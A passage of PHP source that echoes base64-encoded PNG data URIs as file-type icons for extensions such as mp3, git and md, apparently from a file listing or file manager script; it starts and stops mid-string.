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"; } elseif ($ext == "mp3") { echo "data:image/png;base64,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"; } elseif ($ext == "git") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAEnQAABJ0BfDRroQAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAWxSURBVHic7d1NaBx1HMbxZ3Z2N8nmZdNtsklMrCm+FBW1ES0J0Zhqq+RQUHqIIqJV8NiCwYN6EA8WrCCCWKjgwYMaPHhR8SLUHgKaQ8WK1RZsU2mU0Ji3TfZlspnxELPJZHbNztu+/Z7PKTuZnf3D75ud7XY2UQzDgNcW5ufHAYx6fmDyXKDcC6DyYgDCMQDhGIBwDEA4BiAcAxCOAQjHAIRjAMIxAOEYgHAMQDgGIBwDEI4BCMcAhGMAwjEA4RiAcAxAOAYgHAMQjgEIxwCEYwDCMQDhGIBwDEA4BiAcAxBOufbSIe9/QYBwkWdPILh/sNzLKAqfAYRjAMIxAOEYgHAMQDhPA1CjMSh19V4eknwWdHNntbkVzY8fRXjP7QjfchsCTVEAwNriHLIz00h8/xWSk2d3PE7j4BNoPDBs2jZ75m3oyWXzfv2PoXHgkKO15jseuQggGIsjPnYKwY5uy/fUaAxqNIa6O+5Bqv9R/PPxKegriYLHCnXejPq7HzBtU0Jh62PGuy37FSvf8cjhKSDY3oWO197PO/ztGu7tR+tTLzp5GCoBRwE0Hz4KdVe7aVvq5x8w+9FJLHxxxvLT3jQ0glDXHuerJN/YPwUEAog8+IhpU+aPX3HjwzcBXQcAaNevIP7KO1vuo6KhbxCrf//parFL344j8d2Xpm0tI0+jZcT8W2n/euMY9MSCaZueWnH12LXKdgD1d/ZBbW41bVv6+rPc8AEgffE8Vq9fRahn7+YDtXe5WOY6Y1WDsapZtln2Syf5gq9Itk8BDfcNWLZlrv5u2aZNXzXd9iIA8p7tZwA1GjPdzs7OQF9esuw398l7mP/0g9xtY23NwfLIb7YDCDS1mG7ry4t59zO0DAwt42xVVDK2TwHqf2/2bNDTSc8WQ6Xn+hnASKc2v9fYjGAsXvC+2vQUoPNUUEnsB1AfMd02squ5rxv2D2D3sVcL3nd6bBRri3N2H5J8ZPsUoGtp022+xVrdbAdgpMznfAZQ3WyfAra/6FPCdbmvUxd+xMzJ4wCA+rvuR/TJF9ytjnxnO4DtzwBqa1vuaz2xiExi/Z+Faluny6VRKdh/DZA0/0dPcHc870UgSoAXG1UD21PKXNn2tq+iIHRTr2W/YGeP0zVRCdkOIP3bT5ZtzQePbDuqikjfQ44XRaVjOwDt2mXrpVoDhxE5cBCKGoQSCiP23AmEunu9WiP5yP71AIaB5ORZNA1v+alXFLS9/Dr05SUooXDhC0N9+DO15I6jV2rz46eRvnjeerCmltzw9ZUElr753LyDojh5OPKRowCMbBazp99C6pdJ01vBG9YW5zDz7hgyU5dcL5D85frTwUowiFDPrajbuw96JgVt6vL6pV+GASVcB7Vl8+qh7NwN05VDGwKRJgQijaZthfb18r5+qaZPB7v6XACw/mygTV2Cluen3dAyyM7O7HgMPbns+BIuN/clfjRMPAYgHAMQjgEIxwCECyownvH6oHVHnj8eaNll/QCBEIHefeVeQtEUw4e3Zxfm58cBjO64I5UdTwHCMQDhGIBwDEA4BiAcAxCOAQjHAIRjAMIxAOEYgHAMQDgGIBwDEI4BCMcAhGMAwjEA4RiAcAxAOAYgHAMQjgEIxwCEYwDCuf4FEeRcKp3GxMRE2R6/Ix4/x2eAMkml00hv+VsLpdYRj597eGhomAGUQaUMH+BrgJKrpOEDDKCkKm34AAMomUocPsAASqJShw8wAN9V8vABBuCrSh8+wAB8Uw3DBxiAL6pl+AAD8Fw1DR9gAJ6qtuEDDMAz1Th8gAF4olqHDzAA16p5+AADcKXahw8wAMdqYfgAA3CkVoYPMADbamn4AAOwpdaGDzCAotXi8AEGUJRaHT7AAHZUy8MHGMD/qvXhAwygIAnDBxhAXlKGDzAAC0nDBxiAibThAwwgR+LwAQYAQO7wAQYgevgA8C/LRirSJw0ouQAAAABJRU5ErkJggg=="; } elseif ($ext == "md") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAEnQAABJ0BfDRroQAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAYFSURBVHic7ZxNbNtkGMf/TtykTZqFUppubLDRln0hja9NE9oYIIY4wG5oExckJE5IICE4IaEJwQ3BAe4gTgyJwzhyAGkSRcAmMaRtaF0b1qJBt9KlH/muE3PY5tqxU5LmdZP4+f9Ofh/beVI9v77v69d2NNM0oZqFTOYUgBPKP5goJ9TuL0DaCwUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQjnb2+DPqfyBAOJtfewv9+w+3+2s0BHsA4VAA4VAA4VAA4VAA4VAA4ejNnjD84nEk9z3uue/a158jN3XZFe/bth33vfK65zlLl85j9vRXTecyTRPl+Tnk0xPIpS+jMJOGaRgN/hXkDk0LELv/AWx6+IDnvqULv3kK0L9nX91zjFx2Xbksnn0BAFAtlzD18Uksnv917eOJA6VDQHx0l3d8xDuuklAkirF3PkDysSd8zxUklAoQG9npGY+P7VaTwDSxcG4cC+fGUZhJAzW/cqr19GDs7fcR3bxVTT4BND0EuDBNQNMAANHUFuj9CRjZZWt3KBJF77Ydnsc3ncowMPnRe1Y7HE9g5I13kXz0oBXTdB0DB49g9lvveQVx0nIPkJ+edLRre4HYjjFooVDd41uhkltG+tMPUf73hiM+cOCQshxBp3UB/pxEdaVstWsFsHf/ZqWC3KR7ktgKlXwOi+d/qcm5Bz3JAaV5gkrLApgVA3nbzL92wmcXIj89iWq51GpKF7krfzgDmobo8L3K8wQRJZPA7MQla7tWgPjoag+Qsx2nkuLsNVcsHO/3JVfQUCJA7spFazsyNAw9kQQAhPti6N2yzdqXnbjoOlcF1VLRFaMAjaG8BwBWu/3YyE7HjN+vHqBaLrtieowCNIISAVYWbqI0N2u147cFsC8M1R6jEtNwC6BFor7kChrKFoLs/92x2/MA+/hf20uoRNMjrli1kPMtX5BQJoB9fI+P3h4CbD2AfZ6gmnC01xVb6x4DWcWXHiAymELv1u2IDm22Yn72AKGou7uv2FYjSX2UCVB7jZ967pi1XbtWoBo9sckVM3IUoBGUCWBWKsinJ6z24FPPW9v5q1OO1ULVxDzuNhpLC77lCxJK7wba5wHhWNzazvl0/X+H/gf3OtqFmTTK83O+5gwKigXwHuf9HP/v2n8IiYceccTmf/zet3xBo/XbwTbq/adnJy6oSRDSkNh7q9g9A3cjProbQ0ePOW8vmyZu/vSDmnwCUCrAymIGpev/IDq8ZTWWmXfdrl0vWljHrpOfrHnMje9Oozx3XUk+CSh/Kjhbc73v1/q/F39/8yVmvvhsw/IFAaU9AHBrPWDw8FGr7ef4Xy2XUPjrKgrTU1j8/SwyP5/xLVdQafrtYD2RRLi3z2pXinkYy0tWOxSJOh7GWFnKoFpaXR/Q+xMI961eIVRKxbqXbLW57JjVKso351zPBXYC3fR2cNM9gLG8CGN5se7+arm05k0fI7vseGawlVykdfhmkHAogHAogHAogHAogHB0aObLqj/0npdefVNPDoh9Sa93RNGrcBuAZvpwHb2QyZwCcEL5BxPlcAgQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQjvKfiCGNUygWMT4+3rb8w6nUGfYAbaJQLKJYLLQt/3AqdebJI0eepgBtoFOKD3AOsOF0UvEBCrChdFrxAQqwYXRi8QEKsCF0avEBCuA7nVx8gAL4SqcXH6AAvtENxQcogC90S/EBCqCcbio+QAGU0m3FByiAMrqx+AAFUEK3Fh+gAC3TzcUHKEBLdHvxAQqwboJQfIACrIugFB+gAE0TpOIDFKApglZ8gAI0TBCLD1CAhghq8QEK8L8EufgABViToBcfoAB1kVB8gAJ4IqX4AAVwIan4AAVwIK34AAWwkFh8gAIAkFt8gAKILj4A/AcW1XLIRpgWvQAAAABJRU5ErkJggg=="; } else { echo "data:image/png;base64,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